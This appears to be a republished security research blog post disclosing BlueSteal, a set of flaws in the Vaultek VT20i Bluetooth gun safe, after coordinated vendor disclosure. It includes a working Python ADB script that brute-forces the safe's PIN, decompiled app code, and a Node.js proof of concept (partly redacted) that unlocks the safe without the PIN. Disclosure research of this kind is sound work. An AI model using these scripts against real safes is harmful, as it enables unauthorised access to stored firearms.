In this blog post, we will detail BlueSteal, or the ability to exploit multiple security failures in the Vaultek VT20i. These vulnerabilities highlight the need to include security audits early in the product manufacturing process. These vulnerabilities include CVE-2017-17435 and CVE-2017-17436. The VT20i is a very popular product designed for the safe storage of firearms and is one of Amazon’s top sellers in several categories. Along with this post we detail a redacted proof of concept which can unlock Vaultek VT20i Gun Safes that we own through transmission of specially formatted Bluetooth messages.
Disclosure Timeline
The vendor was initially contacted about this vulnerability on 10/6/2017. On 11/7/17 the manufacturer notified us that they had time to review our findings and that they have updated models with “improved Bluetooth security with the option for disabling the Bluetooth unlock or the entire connection altogether. There is also a time out feature designed for brute force attacks and additional encryption for the communication between the app and safe.” We released this blogpost following a 60-day disclosure period.
The Vulnerabilities
- The Fun Vulnerability – The manufacturer’s Android application allows for unlimited pairing attempts with the safe. The pairing pin code is the same as the unlocking pin code. This allows for an attacker to identify the shared pincode by repeated brute force pairing attempts to the safe.
- The Really Fun Vulnerability- CVE-2017-17436 – There is no encryption between the Android phone app and the safe. The application transmits the safe’s pin code in clear text after successfully pairing. The website and marketing materials advertise that this communication channel is encrypted with “Highest Level Bluetooth Encryption” and “Data transmissions are secure via AES256 bit encryption”. However these claims are not true. AES256 bit encryption is not supported in the Bluetooth LE standard and we have not seen evidence of its usage in higher layers. AES-128 is supported in Bluetooth LE, but the manufacturer is not using that either. This lack of encryption allows an individual to learn the passcode by eavesdropping on the communications between the application and the safe.
- The ‘How Does This Even Happen?’ Vulnerability- CVE-2017-17435 – An attacker can remotely unlock any safe in this product line through specially formatted Bluetooth messages, even with no knowledge of the pin code. The phone application requires the valid pin to operate the safe, and there is a field to supply the pin code in an authorization request. However the safe does not verify the pin code, so an attacker can obtain authorization and unlock the safe using any arbitrary value as the pin code.
We will dig into the details of all of these vulnerabilities and how we found them below.
Breaking In The Easy Way
The first step was to acquire the Android APK for interacting with the safe. This APK can be found here: https://apkpure.com/vaultek/com.youhone.vaultek. The version we utilized was v2.0.1. The authors of the APK seem to be a Chinese company named Youhone. Upon opening the app, there is initially a view to connect to the safe and pair it using a pincode.
It just so happens that this is the same pincode that is used to unlock the safe. After successfully pairing, we can then use the app to perform commands such as unlocking the safe.
We immediately checked to see if we could successfully mount a brute force attack. The pin is only 4-8 digits in length with numeric values 1-5 available. Due to this relatively small keyspace we can easily script a brute force attack that utilizes ADB to manipulate the manufacturer’s application. In the attacker’s best case scenario of a 4 character pin code, the search space is a reasonable 5⁴. This would require around 72 minutes at conservative 7 seconds per try.
Below we have a quick and dirty Python script that was written to interact with the phone over ADB and input sequential key combinations. When the script iterates to the correct pin/key, the safe will pop open.
1
2
3
4
5
6
7
8
9
10
11
12
|
import os
import itertools
import time
for combination in itertools.product(xrange(1,6),repeat=4):
print ”.join(map(str,combination))
os.system(“adb shell input touchscreen tap 600 600”)
time.sleep(5)
os.system(“adb shell input text”+ ‘ “‘ + ”.join(map(str,combination)) + ‘”‘)
time.sleep(1)
os.system(“adb shell input touchscreen tap 500 1100”)
time.sleep(1)
os.system(“adb shell input touchscreen tap 850 770”)
|
This vulnerability could have been prevented or mitigated if the application or safe had timeouts for incorrect retries, or enforced some maximum retry limit.
We had a good chuckle with this, however we wanted to access this safe without relying on brute force.
Reverse Engineering
The Vaultek APK is responsible for pairing with and unlocking the safe. There are two approaches to understanding its functionality:
- Static analysis through identifying code in the APK responsible for generating the unlock commands.
- Dynamic analysis through packet captures of transmitted commands and logging output.
The protocol used to communicate between the safe and the application is Bluetooth Low Energy, here is a link to some extra reading.
https://devzone.nordicsemi.com/tutorials/17/
Packet Capture
We initially used an Ubertooth to sniff the traffic going between the phone and the safe, logging the capture to disk.
https://github.com/greatscottgadgets/ubertooth
After examining the packet capture, it was clear that AES 256 encryption was not being utilized. Write commands were being conducted in clear text.
Since this is the case, it is actually much simpler to just use the Android built in Bluetooth HCI log. Here is a good article on how to utilize this feature.
Here is a link to an Android capture that showcases the conversation.
In the packet capture we can clearly see where the Bluetooth Low Energy GATT conversation starts. It appears that the APK issues a single write request to the 0xB handle. This is to enable notifications. This is then followed by a lengthy exchange with the 0xA handle.
For now, let’s go back to the APK to see what those data payloads represent.
APK Code Analysis
On a parallel path, we used apktool and dex2jar to extract class files from the APK. Luyten, a GUI for the Procyon decompiler, was used to inspect decompiled code.
One class that seemed particularly interesting was OrderUtilsVT20. Among other thingsThis class contain formatting code for command payloads. There are also “magic” constants that are associated with various types of commands.
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
static {
OrderUtilsVT20.PASSWORD = “12345678”;
OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
OrderUtilsVT20.CMD_AUTHOR = new byte[] { –128, –83 };
OrderUtilsVT20.CMD_INFO = new byte[] { 48, –51 };
OrderUtilsVT20.CMD_FINGER = new byte[] { 49, –51 };
OrderUtilsVT20.CMD_LOG = new byte[] { 50, –51 };
OrderUtilsVT20.CMD_DOOR = new byte[] { 51, –51 };
OrderUtilsVT20.CMD_SOUND = new byte[] { 52, –51 };
OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, –51 };
OrderUtilsVT20.CMD_DELETE = new byte[] { 54, –51 };
OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, –51 };
OrderUtilsVT20.CMD_TIME = new byte[] { 56, –51 };
OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, –51 };
OrderUtilsVT20.CMD_ERROR = new byte[] { 59, –51 };
OrderUtilsVT20.CMD_PAIR = new byte[] { 58, –51 };
OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, –51 };
}
|
Unfortunately these values do not show up directly in the packet capture. Upon more investigation we discovered that this was because the application and safe were performing an odd encoding routine to pack and morph the payload data. The APK also breaks up the encoded payload into 20 byte length chunks. This matches the format observed in the packet capture.
The encoding function is below:
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
|
if (!StringUtil.isVT20(s)) {}
s = (String)(Object)new byte[array.length * 2 + 2];
s[0] = true;
s[s.length – 1] = –1;
for (int i = 0; i < array.length; ++i) {
final byte b = array[i];
final byte b2 = array[i];
s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
}
Label_0220: {
if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
int length = s.length;
int n = 0;
while (true) {
Label_0185: {
if (length > 20) {
break Label_0185;
}
array = new byte[length];
System.arraycopy(s, n * 20, array, 0, length);
int i = 0;
Label_0173_Outer:
while (true) {
this.SendData(array);
++n;
while (true) {
try {
Thread.sleep(10L);
length = i;
if (i == 0) {
this.processNextSend();
return;
}
break;
array = new byte[20];
System.arraycopy(s, n * 20, array, 0, 20);
i = length – 20;
continue Label_0173_Outer;
|
After discovering this, it was relatively trivial to reverse the encoding process, our decoding function is below.
1
2
3
4
5
6
7
8
9
10
11
|
function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length–1;i=i+2){
var tmp;
tmpA = payload[i]–97;
tmpB = payload[i+1]–97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
}
|
After applying this decoding function to the captured payloads, it becomes easy to identify the commands the app was transmitting to the safe. Here is the conversation we observed.
The two most interesting commands out of this conversation are getAuthor and openDoor.
Here is the code responsible for formatting the getAuthor command.
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
|
public static byte[] getAuthor(final String password) {
if (password == null || password.length() <= 0) {
return null;
}
System.out.println(“获取授权码 “ + password);
setPASSWORD(password);
(OrderUtilsPro.data = new byte[24])[0] = –46;
OrderUtilsPro.data[1] = –61;
OrderUtilsPro.data[2] = –76;
OrderUtilsPro.data[3] = –91;
setTime();
OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
setRandom();
setDateLength(4);
CRC();
setPassWord();
return OrderUtilsPro.data;
}
|
We can see that there is a call to setPassWord, this places the padded pin code at the end of the getAuthorpacket.
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
|
public static void setPASSWORD(final String s) {
String password = s;
Label_0062: {
switch (s.length()) {
default: {}
case 4: {
password = “0000” + s;
break Label_0062;
}
case 7: {
password = “0” + s;
break Label_0062;
}
case 6: {
password = “00” + s;
break Label_0062;
}
case 5: {
password = “000” + s;
}
case 8: {
OrderUtilsPro.PASSWORD = password;
}
}
}
}
public static void setPassWord() {
for (int i = 0; i < 8; i += 2) {
OrderUtilsPro.data[23 – i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
}
}
|
The structure of the getAuthor command then is as follows:
This is troublesome since the APK transmits the programmed pin code without encryption during the unlocking process. Which reveals our second vulnerability, transmission of the pin code in plaintext.
It also hit us that getAuthor is short for getAuthorization. Delving into this message, we get the structure shown in the table above. Of note the pin code at the end of the structure is actually transmitted in the plain text in the getAuthor command. Which brings us to our final vulnerability, the safe does not check the pin code transmitted in the getAuthor packet, and will reply with a proper authorization token no matter what is in the field.
The safe’s response to the getAuthor command contains an authorization code or token located in the first 4 bytes. It took us a bit of time to figure out that this return message was a necessary component of theopenDoor message. Thus, all we need to do is obtain an authorization code for the openDoor command in order for it to unlock the safe.
We can see this occurring in com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20.
51
52
53
54
55
56
57
58
59
|
switch (this.param) {
default: {}
case 41001: {
System.out.println(“获取授权码VT”);
this.author[0] = array[0];
this.author[1] = array[1];
this.author[2] = array[2];
this.author[3] = array[3];
}
|
The openDoor command has the following format after filling in the first 4 bytes with the auth code.
In the end the minimum necessary conversation to open the safe is just:
Proof of Concept (Redacted)
Here is a redacted proof of concept code used to open the safe. The below script will not in and of itself be able to open a safe without a bit of work.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
|
/*
Usage:
npm install noble
npm install split-buffer
node unlock.js
*/
var noble = require(‘noble’);
var split = require(‘split-buffer’);
var rawData = [“ThisIsWhere”,“TheRAWDataWouldGo”]
function d2h(d) {
var h = (+d).toString(16);
return h.length === 1 ? ‘0’ + h : h;
}
function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length–1;i=i+2){
var tmp;
tmpA = payload[i]–97;
tmpB = payload[i+1]–97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
}
function encodePayload(payload){
var res = new Array();
res.push(0x01);
for(var i=0;i<payload.length;i=i+1){
var tmp;
tmpA = payload[i];
tmpB = (payload[i]>>4)+97;
tmpC = (payload[i]&0xF)+97;
res.push(tmpB);
res.push(tmpC);
}
res.push(0xff);
return res;
}
function CRC(target){
var tmp = 0;
for(var i=0;i<16;i=i+1){
tmp += target[i] & 0xFF
}
var carray = new Array();
carray.push(tmp&0xFF);
carray.push((tmp&0xFF00)>>8);
carray.push((tmp&0xFF0000)>>16);
carray.push((tmp&0xFF000000)>>24);
target[16] = carray.shift();
target[17] = carray.shift();
target[18] = carray.shift();
target[19] = carray.shift();
}
function scan(state){
if (state === ‘poweredOn’) { // if the radio’s on, scan for this service
noble.startScanning();
console.log(“[+] Started scanning”);
} else { // if the radio’s off, let the user know:
noble.stopScanning();
console.log(“[+] Is Bluetooth on?”);
}
}
var mcount = 0;
function findMe (peripheral) {
console.log(‘Discovered ‘ + peripheral.advertisement.localName);
if (String(peripheral.advertisement.localName).includes(“VAULTEK”)){
console.log(‘[+] Found ‘+peripheral.advertisement.localName)
}
else{
return;
}
noble.stopScanning();
peripheral.connect(function(error) {
console.log(‘[+] Connected to peripheral: ‘ + peripheral.uuid);
peripheral.discoverServices([‘0e2d8b6d8b5e91d5b3706f0a1bc57ab3’],function(error, services) {
targetService = services[0];
targetService.discoverCharacteristics([‘ffe1’], function(error, characteristics) {
// got our characteristic
targetCharacteristic = characteristics[0];
targetCharacteristic.subscribe(function(error){});
targetCharacteristic.discoverDescriptors(function(error, descriptors){
// write 0x01 to the descriptor
console.log(‘[+] Writing 0x01 to descriptor’);
var descB = new Buffer(’01’,‘hex’);
descriptor = descriptors[0];
descriptor.writeValue(descB,function(error){});
console.log(‘[+] Fetching authorization code’);
message = split(Buffer.from(rawData.shift(),‘hex’),20);
for(j in message){
targetCharacteristic.write(message[j],true,function(error) {});
}
});
targetCharacteristic.on(‘data’, function(data, isNotification){
if(mcount==1)
{
process.exit()
}
mcount = mcount + 1;
data = decodePayload(data);
message = new Buffer.from(rawData.shift(),‘hex’);
message = decodePayload(message);
message[0] = data[0];
message[1] = data[1];
message[2] = data[2];
message[3] = data[3];
console.log(“[+] Obtained Auth Code:”);
console.log(d2h(data[0])+‘ ‘+d2h(data[1])+‘ ‘+d2h(data[2])+‘ ‘+d2h(data[3]));
CRC(message);
message = encodePayload(message)
message = new Buffer(message);
message = split(message,20);
console.log(“[+] Unlocking Safe”);
for(j in message){
targetCharacteristic.write(message[j],true,function(error) {});
}
return;
});
});
});
});
return;
}
noble.on(‘stateChange’, scan); // when the BT radio turns on, start scanning
noble.on(‘discover’, findMe);
|
The steps this script performs are:
- Define two template payloads for getAuthor and openDoor.
- Scan for the safe, locate the service and characteristic that we want to interact with by UUID.
- Write a 0x01 value into the Client Characteristic Configuration Descriptor in order to enable notifications.
- Send our getAuthor encoded template payload in 20 byte chunks as a write command. We then wait for a handle value notification and retrieve the response.
- Decode the response, and take the first 4 bytes as the authorization token. We plop these authorization bytes into our openDoor command template.
- After transmitting the openDoor command, the safe should open.
We later learned the only fields in the getAuthor command that matter are the hardcoded magic bytes and the CRC value.
This means a getAuthor command with any pincode value can return back an authorization code that can open up the safe.
Even better, the openDoor command only checks that the authorization code, magic values, and CRC.
We have tested and verified this functionality on multiple Vaultek VT20i safes.
Summing It Up
The vulnerabilities found in this safe allow an unauthorized user to access it’s contents.
This is particularly troubling because:
- These safes are advertised to hold firearms
- They have regulatory approval to be used to transport firearms through TSA
- Are advertised to use security technologies such as encryption
This should serve as a stark reminder to manufacturers of smart products that security audits can be extremely beneficial, particularly if coding or design work is being outsourced. In this case an audit before the product came to market would have revealed all of these vulnerabilities, which then could have been fixed in production. It is next to impossible for a manufacturer to fix these sorts of issues after sales begin. Thus, care needs to be taken to carefully engineer the security of the platform and its update mechanisms.
Source:https://www.twosixlabs.com/bluesteal-popping-gatt-safes/
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.